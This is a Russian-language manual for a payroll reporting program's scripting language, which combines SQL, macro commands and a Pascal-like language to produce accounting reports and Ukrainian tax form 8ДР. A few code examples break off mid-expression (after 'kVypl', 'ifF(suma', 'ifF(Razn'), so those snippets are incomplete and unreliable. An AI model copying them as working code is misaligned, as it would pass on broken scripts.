@@Param god:i=2002 @@Param mes:i=7 //Выбор начислений select tn,sum(suma) as SumaNach,0 as sumaUd from zaSal where god=:god and mes=:mes group by tn @@SaveDsToFile c:\q1 //Выбор удержаний select tn,sum(suma) as sumaUd from zaUd where god=:god and mes=:mes group by tn @@AppendDsToFile c:\q1 //Рассчет итогов select tn, sum(SumaNach) as SumaNach, sum(SumaUd) as SumaUd from "c:\q1" group by tn @@SaveDsToFile c:\q2 //Рассчет суммы к выплате select tn,sumaNach,sumaUd, (sumaNach-sumaUd) as kVypl, //Здесь может произойти ошибка! 0 as dolg from "c:\q2" @@SaveDsToFile c:\q3 //Рассчет долга update "c:\q3" set dolg=0-kVypl,kVypl=null where kVypl Команда SaveDsToFile применяется для сохранения в файле формата Db результатов запроса. Команду AppendDsToFile следует использовать для добавления результатов запроса к существующему Db или Dbf файлу. Добавление записей происходит по именам полей. Порядок их следования не имеет значения. Если типы полей не совпадают, то происходит попытка автоматического преобразования типов. В обеих командах имя файла необходимо указывать без кавычек. Для хранения временных файлов лучше использовать специально отведенную папку, а не корневой каталог. Команда Razdelitel никаких действий не производит. Она предназначена для разделения двух последовательно идущих SQL-запросов. В данном примере, на основании массивов начислений и удержаний рассчитывается сумма к выплате для каждого сотрудника за месяц. В данном примере может произойти ошибка вычислений (см.комментарии). Это связано с тем, что при сложении значений двух полей в запросе, если одно из них не определено, то результат тоже не определен. Т.е., если у сотрудника не было удержаний (к примеру, он получает только детское пособие), то сумма к выплате будет не определена. Для исключения подобных ошибок удобнее использовать поля, вычисляемые при помощи встроенного языка, о котором речь пойдет далее.

SaveDsToTxt

select *
from zaSal
@@SaveDsToTxt c:\q1.txt
Команда аналогична команде SaveDsToFile, но сохраняет данные в текстовом файле с разделителями символом “]”. В первую строку выводятся наименования полей с разделителями. Команду можно использовать для передачи больших объемов данных в другие приложения (для небольших объемов удобнее использовать меню Утилиты-> Экспорт в Word). EmptyTable
select *
from zasal
@@SaveDsToFile c:\q1
select *
from "c:\q1"
@@ShowGrid
@@EmptyTable c:\q1
select *
from "c:\q1"
@@ShowGrid
Команда предназначена для удаления всех данных из таблицы. Имя файла следует указывать без кавычек. Для успешного выполнения команды необходимо, чтобы таблица не была открыта другими приложениями, т.к. в ходе ее выполнения происходит открытие таблицы в монопольном режиме. Приведенный пример создает новую таблицу и передает в нее данные из архива начислений, выводит на экран полученную таблицу с данными, удаляет из нее данные и показывает на экране пустую таблицу. Exit Команда применяется для прекращения выполнения скрипта. Ее применяют для отладки. Использование встроенного языка В основу встроенного языка положен синтаксис языка Pascal. Встроенный язык используется для добавления к результатам SQL-запроса вычисляемых полей командой InsertField и для реализации различных вычислений. Строка, написанная на встроенном языке, должна начинаться с идентификатора “ps” и подсвечивается в редакторе зеленым цветом. Язык поддерживает ряд стандартных процедур и функций, а также специальные процедуры и функции, описание которых будет представлено ниже. Список специальных функций можно вызвать при работе в редакторе клавишей Ctrl+P.

ShowMessage

ps ShowMessage('Встроенные функции')
Эта функция предназначена для вывода в диалоговом окне передаваемого ей строкового параметра.

DefineGlobal, DefineTemp

ps DefineGlobal('s','string')
ps DefineTemp  ('i','integer')
ps i:=100
ps s:=IntToStr(i)
@@Razdelitel
ps showMessage(s)
@@Exit
ps s:=IntToStr(i)
Обе функции предназначены для декларирования переменных. В качестве параметров функции передаются имя переменной и ее тип. Оба параметра указываются в виде строки. Отличие функций заключается в том, что переменная, определенная первой функцией, действует во всем скрипте, а переменная, определенная второй функцией, действует только в непрерывном блоке встроенного языка (до появления SQL-запроса или макрокоманды). В приведенном примере, после команды Razdelitel, переменная I прекращает существовать. Если убрать команду Exit, то при выполнении следующей строки будет выдано сообщение об ошибке. Работа с результатами запроса, RecNo, RecordCount, SumField
select tn,
       max(f) as f,
       sum(suma) as suma
from zaSal sl
left join zsEmpl se
  on se.tn=sl.tn
where god=2002 and Mes=7
group by tn
order by f
@@ShowGrid
ps showMessage('Запись № '+IntToStr(RecNo)+'  Фамилия- '+f)
ps showMessage('Всего записей-'+IntToStr(RecordCount)+ '  общая сумма '+FloatToStr(SumField('Suma')))
Если блок, написанный на встроенном языке, находится после SQL-запроса, то к полям текущей записи запроса можно обратиться по имени, как к переменной. В приведенном примере, после выполнения запроса на экран выводится его результат (ShowGrid). При просмотре результатов Вы можете сделать текущей любую запись. После выхода из режима просмотра на экран последовательно выводится два диалоговых окна. В первом указывается номер текущей записи запроса (ф-ция RecNo) и фамилия сотрудника (обращение по полю F). Во втором окне показывается общее количество записей (ф-ция RecordCount) и сумма всех записей по полю Suma (ф-ция SumField).

Alias, SetAlias.

@@Alias=dbDemos
ps ShowMessage(Alias)
ps SetAlias('')
ps ShowMessage(Alias)
Первая функция возвращает имя текущей базы данных (см. описание команды Alias), вторая позволяет изменить текущую базу данных (аналогично команде Alias).

Param, SetParam.

@@Param data:d=01/02/03
ps ShowMessage(param('data'))
ps SetParam('data','15/12/94','d')
ps ShowMessage(param('data'))
Первая функция возвращает строку со значением указанного параметра (см. команда Param). Вторая позволяет создать или изменить параметр. В качестве параметров (параметры ф-ции) ей передается имя параметра (для SQL-запроса), его значение в виде строки, и буква, определяющая его тип (аналогично команде Param).

IfF(ifN), ifS.

ps showMessage(ifS(3=5,'истина','ложь'))
ps showMessage(FloatToStr(ifF(3=5,10,20)))
Функции возвращают первый параметр, в случае истинности условия, и второй параметр в противном случае. Для функции ifF(ifN) параметрами и результатом являются числа, а для функции ifS – строковые переменные.

CurrentDate, CurrentTime.

ps DefineGlobal('dt','integer')
ps dt:=CurrentDate
ps DefineGlobal('tm','double')
ps tm:=CurrentTime
Функции возвращают текущие дату и время.

JDateToStr, jStrToDate.

ps ShowMessage(jDateToStr(CurrentDate))
ps DefineGlobal('dt','integer')
ps dt:=jStrToDate('15/12/94')
Функции преобразовывают дату в строковое значение и строковое значение в дату.

Year, Month, Day.

ps DefineGlobal('s','string')
ps s:='год-'+IntToStr(year(CurrentDate))
ps s:=s+' месяц-'+IntToStr(month(CurrentDate))
ps s:=s+' число-'+IntToStr(day(CurrentDate))
ps ShowMessage(s)
Функции выделяют год, месяц и число из даты, передаваемой в качестве параметра.

FirstDayMonth, LastDayMonth.

ps DefineGlobal('y','integer')
ps DefineGlobal('m','integer')
ps y:=year(CurrentDate)
ps m:=month(CurrentDate)
ps DefineGlobal('s','string')
ps s:='Первый день месяца-'+jDateToStr(FirstDayMonth(y,m))
ps s:=s+' Последний день месяца-'+jDateToStr(LastDayMonth(y,m))
ps ShowMessage(s)
Функции получают в качестве параметров номер месяца и год и возвращают первый и последний дни месяца соответственно.

SpellMonth.

ps DefineGlobal('s','string')
ps DefineGlobal('i','Integer')
ps s:=''
ps For i:=1 to 12 do s:=s+SpellMonth(i)+','
ps delete(s,Length(s),1)
ps ShowMessage(s)
Функция возвращает наименование месяца, номер которого передан в качестве параметра.

Val_i.

ps DefineGlobal('i','integer')
ps i:=Val_i('12345')
Функция преобразует строку к целому числу.

JRound.

ps ShowMessage(FloatToStr(jRound(pi,3)))
Функция округляет передаваемое в качестве параметра число до количества знаков после запятой, указанного во втором параметре.

Podstroka.

ps DefineGlobal('s','string')
ps s:='Иван,Николай,Тимофей,Петр'
ps ShowMessage(podstroka(s,',',1)) 
Функция разбивает передаваемую ей в качестве первого параметра строку на подстроки и возвращает подстроку, номер которой указан в третьем параметре. Нумерация начинается с нуля. Разделителем подстрок является второй параметр.

CalcTax.

ps DefineGlobal('suma','double')
ps DefineGlobal('tax','double')
ps Suma:=500
ps tax:=CalcTax(suma,1,false)
ps DefineGlobal('s','string')
ps s:='Подоходный налог с '+FloatToStr(suma)+' грн. '
ps s:=s+'составляет '+FloatToStr(tax)+' грн.'
ps ShowMessage(s)
Функция рассчитывает подоходный налог по действующей шкале и имеет следующий синтаксис: CalcTax(suma,knp,IsNotLgota), где Suma-сумма, с которой исчисляется подоходный налог Knp-количество необлагаемых минимумов, применяемых при расчете налога, для сотрудника, не имеющего льгот, необходимо установить 1. Для совместителя – 99. IsNotLgota-Истинное значение этого параметра приводит к расчету налога без учета льготы. Параметр необходимо применять в случае, если вновь принятый (или уволенный) работник проработал на предприятии менее 15 календарных дней (в соответствии с «Декретом о подоходном налоге»)

InsertField, SaveDslToFile.

select tn, sum(suma) as suma, max(f) as f, max(i) as i, max(o) as o from zaSal sl left join zsEmpl se on sl.tn=se.tn where god=2002 and mes=7 group by tn order by f,i,o @@InsertField Nn:i=RecNo @@InsertField tax:F=jRound(CalcTax(suma,1,false),2) @@InsertField tax2:F=jRound(ifF(suma

Команда InsertField предназначена для добавления вычисляемых на встроенном языке полей к результатам выполнения SQL-запроса. Результаты выполнения запроса, вместе с добавленными полями, могут быть сохранены в таблице командой SaveDslToFile. Работа с командой идентична работе с SaveDsToFile. Команда InsertField имеет следующий синтаксис:

InsertField FieldName:FieldType=formula, где:
FieldName-имя поля
FieldType-тип поля, определяемый следующими буквами:
I-целое число
F-Число с плавающей точкой
A-строковое поле. После буквы A следует указать размерность поля (например A25)
Formula-выражение для вычисления значения поля на встроенном языке. 
При необходимости переноса выражения на следующую строку, 
ее необходимо начинать с символа «;»
Построение табличных отчетов

MakeDsChees,CheesPrint,CheesShow, CheesTable,CheesHeaderTextAdd,InputDataMonth.

//@@InputDataMonth
ps if param('Data1')='' then SetParam('data1','01/07/02','d')
ps DefineGlobal('god','integer')
ps DefineGlobal('mes','integer')
ps god:=year (jStrToDate(param('data1')))
ps mes:=month(jStrToDate(param('data1')))
ps SetParam('god',IntToStr(god),'i')
ps SetParam('mes',IntToStr(mes),'i')
select tn,
       sum(suma) as suma,
       max(f) as f,
       max(i) as i,
       max(o) as o
from zaSal sl
left join zsEmpl se
  on sl.tn=se.tn
where god=:god and mes=:mes
group by tn
order by f,i,o
@@InsertField Nn:i=RecNo
@@InsertField tax:F=jRound(CalcTax(suma,1,false),2)
@@InsertField Fio:a20=f+' '+copy(i,1,1)+'.'+copy(o,1,1)+'.'
@@SaveDslToFile c:\q1
select nn,tn,fio,suma,tax
from "c:\q1" 
@@MakeDsChees(
  nn,№,1,right
  tn,Табель- ный номер,2,center,,,0000
  fio,ФИО,5
  suma,Сумма,3,right,,,0.00,sum
  tax,Налог,3,right,,,0.00,sum)
ps CheesHeaderTextAdd('Расчет начислений и подоходного налога')
ps DefineGlobal('s','string')
ps s:='за '+SpellMonth(mes)+' '+IntToStr(god)+' года'
ps CheesHeaderTextAdd(s)
@@CheesShow
//@@CheesTable
//@@CheesPrint

Для построения табличных отчетов применяется команда MakeDsChes. Синтаксис команды следующий:

MakeDsChes(  
Field1,title1,width1,Alignment1,FontSize1,FontStyle1,format1,agr1
----------------------------------------------------------------
  
FieldN,titleN,widthN,AlignmentN,FontSizeN,FontStyleN,formatN,agrN
)
Field-Имя поля 
Title-Заголовок колонки
Width-Ширина колонки (см.)
Alignment-способ выравнивания колонки (left,right,center)
FontSize-размер шрифта
FontStyle-не испльзуется
Format-формат вывода для числовых полей (00,0.00,0.##)
Agr-агрегатная функция для колонки (используется только Sum)   
Для формирования заглавия отчета применяется функция встроенного языка CheesHeaderTextAdd. Передаваемый ей строковый параметр помещается в заглавие отчета. Допускается несколько вызовов данной функции для отчета, заглавие которого состоит из нескольких строк. Полученный отчет можно вывести на принтер командой CheesPrint, вывести на экран в режиме предварительного просмотра командой CheesShow, просмотреть на экране в виде таблицы командой CheesTable. Из последнего режима щелчком правой кнопки мышки можно экспортировать отчет в MS Word. (в примере отчет выводится на экран в режиме предварительного просмотра, остальные режимы закоментированы). Многие бухгалтерские отчеты делаются за некоторый промежуток времени: месяц, квартал, полугодие, год. Для возможности ввода пользователем периода охвата отчета существует команда InputDataMonth. Если поместить команду в начало отчета (в примере, удалить комментарий в первой строке и закомментировать команду вывода отчета), то на экране появится диалоговая форма, позволяющая указать период отчета и имеющая несколько управляющих кнопок. Кнопка «Применить» служит для формирования отчета, кнопки «Таблица» и «Печать» говорят сами за себя. Для вывода отчета в режиме предварительного просмотра необходимо воспользоваться правой кнопкой мышки. После нажатия кнопки «Применить» начинается выполнение скрипта. При этом ему передается два параметра: Data1 и Data2, соответствующие началу и окончанию указанного периода. Если в процедуре определены одноименные параметры, то они и будут действовать, независимо от выбора пользователя. Для исключения подобных ситуаций при отладке скрипта следует пользоваться функциями встроенного языка, как это показано в начале примера. Построение шахматки (отчета с заранее не известным числом столбцов)

MakeChees.

@@Param god:i=2002
select f as vKrt,            //Положение ячейки по вертикали
       mes+100 as gKrt,      //Положение ячейки по горизонтали
       cast(tn as char(4))+'-'+f as vKrtText,    
                             //Надпись для строки 
       cast(tn as char(4)) as vKrtText2,    
                             //Надпись для строки 2       
       mes,
       suma 
from zaSal sl
left join zsEmpl se
  on sl.tn=se.tn
where god=:god 
@@InsertField gKrtText:a15=SpellMonth(round(mes))
                           //Заголовок столбца
@@SaveDslToFile c:\q1
@@MakeChees(
  c:\q1                             //Имя файла с данными 
  orientation=poLandscape           //Ориентация бумаги  
  DefaultAlignment=taRightJustify   //Способ выравнивания
  defaultNumericFormat=0.00         //Формат ячейки
  zeroColWidthFirst=5               //Ширина первой колонки (с текстом) на левом листе
  zeroColWidthNext=1                //Ширина первой колонки на остальных листах
  AutoSumRows=true                  //Добавить итоги по строкам
  AutoSumColumns=true               //Добавить итоги по столбцам 
  defaultColWidth=2                 //Ширина столбца
)
ps CheesHeaderTextAdd('Начисленная заработная плата за '+param('god')+' год')
@@CheesShow
//@@CheesPrint
//@@CheesTable
Отчет-шахматка состоит из строк и столбцов. Каждый столбец может иметь свой заголовок. Каждая строка (в первой колонке) может иметь свою надпись. Если ширины столбца недостаточно для размещения заголовка, то высота первой строки автоматически увеличивается, и надпись размещается в несколько строк. При разделении заголовка на строки, в первую очередь программа пытается разбить его по словам (анализ-- по пробелам). Если длина слова превышает ширину столбца, то слово разделяется на части. Аналогично размещается надпись строки. Таким образом, в отчете могут быть определены первые строка и столбец. Все остальные ячейки могут состоять только из цифр. Для формирования шахматки следует воспользоваться командой MakeChees, в которую в качестве первого параметра передается имя файла с подготовленными данными. Далее могут следовать дополнительные параметры (каждый с новой строки), определяющие свойства отчета. Полный список параметров, с описанием их назначения, приведен в конце статьи, а также доступен в помощи программы. Если размер отчета больше листа (как по высоте, так и по ширине), то программа автоматически размещает его на нескольких листах. Каждая запись файла с данными определяет ячейку отчета. Структура файла: GKrt-(горизонтальный критерий) относительный номер столбца VKrt-(вертикальный критерий) относительный номер строки Suma-сумма ячейки GkrtText-заголовок столбца VkrtText-подпись строки VkrtText2-подпись строки дополнительных листов Первые два поля однозначно определяют позицию ячейки. Они могут быть как числовыми, так и текстовыми. Однако следует иметь в виду, что при определении позиции ячейки содержимое этих полей приводится к текстовому виду, и по нему производится сортировка. Если несколько записей файла с данными имеют одинаковые значения полей GKrt и VKrt, то в отчете появится одна ячейка с суммой всех таковых записей. Поля GkrtText и VkrtText определяют заголовки строки и столбца. Учитывая, что в строке или столбце может быть заполнено несколько ячеек, то вышеуказанные поля приводят к избыточности и увеличивают размер файла с данными. Для экономии места на диске в файле данных эти поля можно не определять. Для определения заголовков следует создать два дополнительных файла со структурой: GKrt и Text, и VKrt и Text. Эти файлы должны определять надписи строк и столбцов отчета и не несут избыточной информации. Имена этих файлов записываются в первой строке параметров команды MakeChees после указания файла с данными через запятую. Поле VkrtText2 будет использовано программой в том случае, если отчет будет размещаться по ширине на нескольких листах. При этом ширину колонки подписей строк можно задать отдельно для крайнего левого листа и остальных листов. В этом случае на левом листе будет выводиться текст, определенный полем VkrtTex, а на остальных листах –текст, определенный VkrtText1. Например, на левом листе в первой колонке показывается табельный номер сотрудника и его ФИО (ширина колонки 5 см), а на остальных листах только табельный номер (ширина колонки 1 см). Работа с данным отчетом идентична работе с табличным отчетом (MakeDsChees). К нему можно добавить заголовок функцией встроенного языка CheesHeaderTextAdd. Также отчет может быть распечатан командой CheesPrint, показан на экране в режиме предварительного просмотра командой CheesShow, или показан в виде таблицы командой CheesTable (из которой возможен экспорт в Word). В приведенном примере показан отчет, отражающий помесячно начисления каждого сотрудника за год. По строкам показаны сотрудники, по столбцам—месяцы. Итоги подведены по строкам и столбцам. RepInitChees, RepInsertConst, RepInsertHeader, RepInsertItogQu, RepInsertQu, RepInsertTxt, RepPreView, RepViewTable Построение сложных отчетов

Под термином «сложные отчеты» в данном случае понимаются отчеты, собирающие в себе разноплановую информацию – результаты нескольких SQL-запросов, различные рассчитанные величины. Таковыми являются практически все отчеты, сдаваемые в налоговую инспекцию или статистику. Для примера приведен некоторый абстрактный отчет, обрабатывающий результаты расчета зарплаты за указанный месяц и отражающий:

свод начислений распределение зарплаты по сотрудникам (начислено, удержано, к выплате, долг) сотрудник с наименьшими начислениями сотрудник с наибольшими начислениями разница между наименьшим и наибольшим начислением //@@InputDataMonth ps if param('Data1')='' then SetParam('data1','01/07/02','d') ps DefineGlobal('god','integer') ps DefineGlobal('mes','integer') ps god:=year (jStrToDate(param('data1'))) ps mes:=month(jStrToDate(param('data1'))) ps SetParam('god',IntToStr(god),'i') ps SetParam('mes',IntToStr(mes),'i') ps if god<>2002 then ShowMessage('В баззе данных представлена информация только за 2002 год!') @@RepInitChees 1 @@RepInsertHeader Отчет по заработной плате ps DefineGlobal('s','string') ps s:='за '+SpellMonth(mes)+' '+IntToStr(god)+' года' @@RepInsertHeader global:s @@RepInsertHeader @@Razdel свод начислений @@RepInsertTxt начисление зарплаты по видам оплат, сумма select knu, sum(suma) as suma, max(vo.name) as Name from zaSal sl left join zsVidOpl vo on vo.knu=sl.knu where god=:god and mes=:mes group by knu order by knu @@RepInsertQu name,suma @@Razdel Распределение по сотрудникам @@RepInsertTxt распределение по сотрудникам, сумма select tn,sum(suma) as SumaNach,0 as sumaUd from zaSal where god=:god and mes=:mes group by tn @@SaveDsToFile c:\q1 //Выбор удержаний select tn,sum(suma) as sumaUd from zaUd where god=:god and mes=:mes group by tn @@AppendDsToFile c:\q1 //Рассчет итогов select tn, sum(SumaNach) as SumaNach, sum(SumaUd) as SumaUd, max(f) as f, max(i) as i, max(o) as o from "c:\q1" q1 Left join zsEmpl se on q1.tn=se.tn Group by tn @@InsertField razn:f=SumaNach-SumaUd @@InsertField kVypl:f=ifF(Razn>0,razn,0) @@InsertField Dolg:f=ifF(Razn Отчет строится в виде таблицы по следующему принципу: в начале идет колонка с номером строки, следующей идет колонка с текстовой информацией, описывающей строку, затем следует несколько колонок с цифрами (суммы строки). Для определения заголовка отчета применяется команда RepInsertHeader. После команды следует текстовая информация, которая будет помещена в заголовок отчета. Параметром команды может быть строковая глобальная переменная. В этом случае в команде указывается global:VarName, где VarName – имя переменной. Для определения количества колонок с суммами в отчете используется команда RepInitChees, после которой указывается количество колонок. Эта команда может использоваться несколько раз на протяжении отчета. Команда RepInsertTxt используется для вставки текстовой информации в колонки отчета (например, наименований столбцов). После команды следует указать через запятую информацию, помещаемую в каждую колонку отчета. Здесь также можно использовать глобальные переменные. Команда RepInsertConst используется для вставки цифровой информации в отчет. После команды следует указать текстовую информацию, описывающую данную строку, затем, через запятую, содержимое числовых ячеек. В любой колонке может быть значение глобальной переменной. В случае необходимости выделить строку жирным, после команды необходимо указать ключевое слово «bold», после которого следует поставить запятую. Команда RepInsertQu используется для вставки результатов выполнения последнего SQL-запроса в отчет. После команды следует указать имя поля, значение которого следует поместить в колонку, описывающую строку. Затем, через запятую, имена полей, помещаемые в числовые колонки отчета. В отчет последовательно помещаются все записи запроса. После последней записи в отчет добавляется строка с комментарием «Итого» и итогами по каждой колонке. Эта строка выделяется жирным. Команда RepInsertItogQu аналогична предыдущей команде. В отличие от нее в отчете появляется только одна, итоговая строка. Для предварительного просмотра результатов используется команда RepPreView. Команды для печати отчета не предусмотрено. Вместо нее следует использовать в начале скрипта команду InputDataMonth, которая запрашивает входные параметры для формирования отчета, а также позволяет просматривать и распечатывать сформированный отчет (в скрипте следует удалить комментарий с первой строки и закомментировать последнюю строку). InputUsing, Procedure, EndProcedure, RunProcedure

Команда InputUsing предназначена для определения формы ввода. Параметрами команды могут быть следующие ключевые слова:

          Label        –вывод надписи на экран
          EdYearMonth  –ввод года и месяца
          EdInteger    –ввод целого числа
          Edit         –ввод строки
          EdDate       –ввод даты 
          EdFloat      –ввод числа с плавающей точкой  
          EdData1Data2 –ввод 2-х дат (периода)
          ControlReport–вывод панели с управляющими кнопками (выполнить, таблица, просмотр, печать)
Каждое ключевое слово определяет новую строку с полем (полями) ввода и комментарием. Комментарий следует указывать через запятую после ключевого слова. Далее, снова через запятую, указывается имя поля ввода. С таким именем будет открыт параметр, имеющий тип, определяемый типом поля ввода. Присвоенное значение параметру до команды InputUsing приведет к заполнению соответствующего поля ввода присвоенным значением. Ключевые слова EdData1Data2 и EdYearMonth определяют сразу два поля ввода, и, соответственно, два параметра. Имена параметров при этом определяются предопределенными Data1, Data2 и Year,Month (соответственно) и именем, указанным в строке (в примере YearGm и MonthGm). Одним из параметров ключевого слова ControlReport является OnRun=ИмяПроцедуры

Где ИмяПроцедуры – имя процедуры, выполняемой по нажатию кнопки Выполнить. Эта процедура должна содержать команду MakeDsChees, MakeChees, или MakeReport, результаты которых будут показаны на экране кнопкой Таблица, распечатаны кнопкой Печать, или показаны в режиме предварительного просмотра при помощи правой кнопки мышки.

@@Procedure расчет
select knu,vo.name as nameKnu,kolich,suma,suma as itg,'1' as nSort
from zaSal sl
left join zsVidOpl vo
  on vo.knu=sl.knu
where tn=:tn and god=:YearGm and mes=:MonthGm
@@SaveDsToFile c:\qTbl
select knu,vo.name as nameKnu,suma,0-suma as itg,'2' as nSort
from zaUd ud
left join zsVidOpl vo
  on vo.knu=ud.knu
where tn=:tn and god=:YearGm and mes=:MonthGm
@@AppendDsToFile c:\qTbl
select "*** Начислено" as NameKnu,
       sum(suma) as suma,
       '3' as nSort
from "c:\qTbl"
where knu=500
@@AppendDsToFile c:\qTbl
select "*** К выплате" as NameKnu,
       sum(itg) as suma,
       '5' as nSort
from "c:\qTbl"
@@AppendDsToFile c:\qTbl
select *
from "c:\qTbl"
order by nSort,knu
@@MakeDsChees(
  knu,Код,2,center,,,000
  NameKnu,Вид оплаты (удержания),7
  Kolich,Отра- ботка,2,Right,,,0.#
  suma,Сумма,2,Right,,,0.00
)
ps CheesHeaderTextAdd('Расчетный лист')
select *
from zsEmpl 
where tn=:tn
ps CheesHeaderTextAdd(f+' '+i+' '+o)
ps CheesHeaderTextAdd('за '+SpellMonth(val_i(param('MonthGm')))+' '+param('YearGm')+' года')
@@EndProcedure
ps setParam('YearGm','2002','i')
ps setParam('MonthGm','7','i')
ps setParam('tn','37','i')
@@InputUsing(
          Label        ,Печать расчетных листов
          edYearMonth  ,,gm
          edInteger,Табельный номер,tn
          ControlReport,,,onRun=расчет)
Процедура определяется в тексте скрипта командой procedure, после которой указывается имя процедуры. Окончание процедуры в теле скрипта определяется командой EndProcedure. ResetGlobalVar Команда предназначена для уничтожения глобальных переменных (см. DefineGlobal). Стандартные отчеты Начиная с версии 1.01 в программу включаются стандартные бухгалтерские отчеты. Для формирования отчета используются специальные команды, наименование которых начинается с “Z_”. Например команда Z_Forma8dr – формирует форму 8ДР. После имени команды, в качестве параметров следуют свойства отчета с соблюдением синтаксиса: Имя_свойства=Значение_свойства, В качестве значения свойства можно указать имя глобальной переменной. Для этого, перед именем переменной следует указывать ключевое слово “Global:” Z_Forma8dr

Данная команда формирует отчет по форме 8ДР. Перед вызовом команды необходимо сформировать запрос, результат которого будет иметь следующие поля:

tin            - Идентификационный номер
  d_priyn        - Дата приема на работу 
  d_zviln        - Дата увольнения сотрудника
  S_dox          - Сумма выплаченного дохода
  S_nar          - Сумма начисленного дохода
  S_taxN         - Сумма удержанного подоходного налога
  S_taxP         - Сумма перечисленного подоходного налога
  ozn_dox        - Признак дохода
  OZN_PILG       - Признак льготы  
  // Имена полей соответствуют приказу ГНАУ № 473 от 30.12.1997 г 
  // в редакции от 08.04.2003 г.

После выполнения запроса следует вызов команды, которая имеет следующие параметры:

okpo                 -ОКПО организации
TinPrivate           -Идф.номер частного предпринимателя
TinDirector          -Идф.номер директора
TinGlBux             - Идф.номер гл.бухгалтера
FioDirector          -ФИО директора
FioGlBux             -ФИО гл.бухгалтера
FioPrivate           - ФИО частного предпринимателя
tlfDirector          - Телефон директора
tlfGlBux             - Телефон гл.бухгалтера
TlfPrivate           - Телефон частного предпринимателя
NameOrg              - Наименование организации
OKPONalogovoy        - ОКПО налоговой инспекции
NameNalogovoy        -Наименование налоговой
Kvartal              -Отчетный квартал
Year                 -Год
WorkShtat            -Работало в штате
WorkSovm             -Работало по совместительствц
Для записи на дискету:
fileName_KOdOblasti  -код области
fileName_kodNalogovoy-код налоговой инспекции

В приведенном примере показано как сформировать форму 8ДР на основании стандартной базы данных зарплаты. Следует не забывать, что в отчет необходимо включать информацию о выплатах частным предпринимателям.

@@Razdel Исходные данные
@@Param God:i=2002
@@Param Kvrt:i=2
@@Razdel Определения переменных
ps DefineGlobal('kvrt','integer')
ps DefineGlobal('god','integer')
ps DefineGlobal('TaxPerechKvartal'  ,'double')
ps DefineGlobal('mes1','integer')
ps DefineGlobal('mes2','integer')
ps DefineGlobal('Data1','integer')
ps DefineGlobal('Data2','integer')
ps god:=val_i(param('god'))
ps kvrt:=val_i(param('kvrt'))
ps mes1:=(kvrt-1)*3+1
ps mes2:=mes1+2
ps setParam('mes1',IntToStr(mes1),'i')
ps setParam('mes2',IntToStr(mes2),'i')
ps Data1:=FirstDayMonth(god,mes1)
ps Data2:=LastDayMonth(god,mes2)
ps setParam('data1',jDateToStr(data1),'d')
ps setParam('data2',jDateToStr(data2),'d')
select tn,
       sum(suma) as s_Dox,
       0 as s_Tax
from zaSal sl
left join zsVidOpl vo
  on sl.knu=vo.knu
where god=:god and mes between :mes1 and :mes2 and vo.Ozn_dox is null
group by tn
@@SaveDsToFile c:\q1
select tn,
       sum(suma) as s_Tax
from zaUd
where knu=598 and god=:god and mes between :mes1 and :mes2
group by tn
@@AppendDsToFile c:\q1
select tn,
       max(tin) as tin,
       max(d_priyn) as d_priyn,
       max(d_zviln) as d_zviln,
       max(cast(isSovm as integer)) as isSovm,
       sum(s_dox) as s_dox,
       sum(s_tax) as s_tax
from "c:\q1" q1
left join zsEmpl se
  on se.tn=q1.tn
group by tn
@@InsertField ozn_dox:i=round(ifF(isSovm<>1,1,2))
@@SaveDslToFile c:\q2
update "c:\q2"
set d_priyn=null
where d_priyn not between :data1 and :data2
@@Razdelitel
update "c:\q2"
set d_Zviln=null
where d_Zviln not between :data1 and :data2
@@Razdelitel
select tn,
       sum(suma) as s_Dox,
       max(Ozn_dox) as Ozn_dox,
       max(tin) as tin
from zaSal sl
left join zsVidOpl vo
  on sl.knu=vo.knu
left join zsEmpl se
  on se.tn=sl.tn
where god=:god and mes between :mes1 and :mes2 and not vo.Ozn_dox is null
group by tn
@@AppendDsToFile c:\q2
select Tin,
       S_dox,Ozn_dox,D_priyn,D_zviln,
       s_dox as S_nar,
       S_tax as S_taxN,
       S_tax as S_taxP
from "c:\q2"
where not tin is null
@@Z_Forma8dr(
      okpo                 =12345678
//      TinPrivate           =9876543210
      TinDirector          =1346867498
      TinGlBux             =4574946877
      FioDirector          =Петров П.Н.
      FioGlBux             =Иванов И.И.
//      FioPrivate           =Предприниматель
      tlfDirector          =12-34-56
      tlfGlBux             =78-91-23
//      TlfPrivate           =99-88-77
      NameOrg              =Звездный путь
      OKPONalogovoy        =99994321
      NameNalogovoy        =ДПI в звездном районе
      Kvartal              =global:kvrt
      Year                 =Global:god
      WorkShtat            =123
      WorkSovm             =4
      fileName_KOdOblasti  =04
      fileName_kodNalogovoy=04    
)
@@CheesShow
//@@CheesPrint //Убрать комментарий для вывода документа на печать
Свойства шахматки Нижеследующие свойства используются после команды MakeChees, для определения параметров отчета. orientation Определяет ориентацию бумаги PoPortrait-книжная PoLandscape-альбомная FieldLeft, fieldTop, fieldRight, fieldBottom Определяют поля листа в сантиметрах: левое, верхнее, правое, нижнее соответственно. titleLinesEnabled Определяет наличие рамки вокруг заголовка (False,True). DefaultColWidth, defaultRowHeight Определяет ширину колонки и высоту строки по умолчанию (в сантиметрах). DefaultFontName, defaultFontSize, defaultFontStyle Наименование, размер и стиль шрифта по умолчанию. Стиль определяется одним или несколькими элементами множества: [fsBold, fsItalic, fsUnderLine] defaultTitleFontName, defaultTitleFontSize, defaultTitleFontStyle Наименование, размер и стиль шрифта для вывода заголовков столбцов. DefaultHeaderTextFontSize, defaultHeaderTextFontStyle, defaultHeaderTextFontName Наименование, размер и стиль шрифта для вывода заголовка отчета. DefaultZeroColFontName, defaultZeroColFontSize, defaultZeroColFontStyle Наименование, размер и стиль шрифта для вывода первого столбца шахматки (с комментариями строки). DefaultZeroColFirstIndent, defaultZeroColLeftIndent, defaultZeroColRightIndent Отступ первой колонки для крайнего правого и последующих листов слева, отступ справа. DefaultLineColLeft, DefaultLineColRight, DefaultLineRowTop, defaultLineRowBottom Свойства определяют наличие линии по границе каждых строки или столбца (слева, справа, сверху, снизу). Допустимые значения False, True. DefaultAlignment Выравнивание информации в ячейках. Допустимые значения taLeftJustify, taRightJustify, taCenter (по левому краю, по правому краю, по центру). DefaultNumericFormat Числовой формат по умолчанию. (например 0.00-определяет 2 знака после запятой, 0.##-после запятой выводятся только значащие цифры, но не более 2-х) . zeroColEnabled Наличие первого столбца с комментариями к строкам. Допустимые значения False, True. ZeroColWidthFirst, zeroColWidthNext Ширина первого столбца с комментариями к строкам для крайних левых листов и последующих листов. AutoSumRows, AutoSumColumns Автоматическое добавление итогов по строкам и по столбцам. Допустимые значения False, True.

Получить программу для ознакомления Вы можете на сайте http://amigonet.narod.ru. Вместе с программой Вы получите учебную базу данных и примеры скриптов, подробный разбор которых приведен в статье.

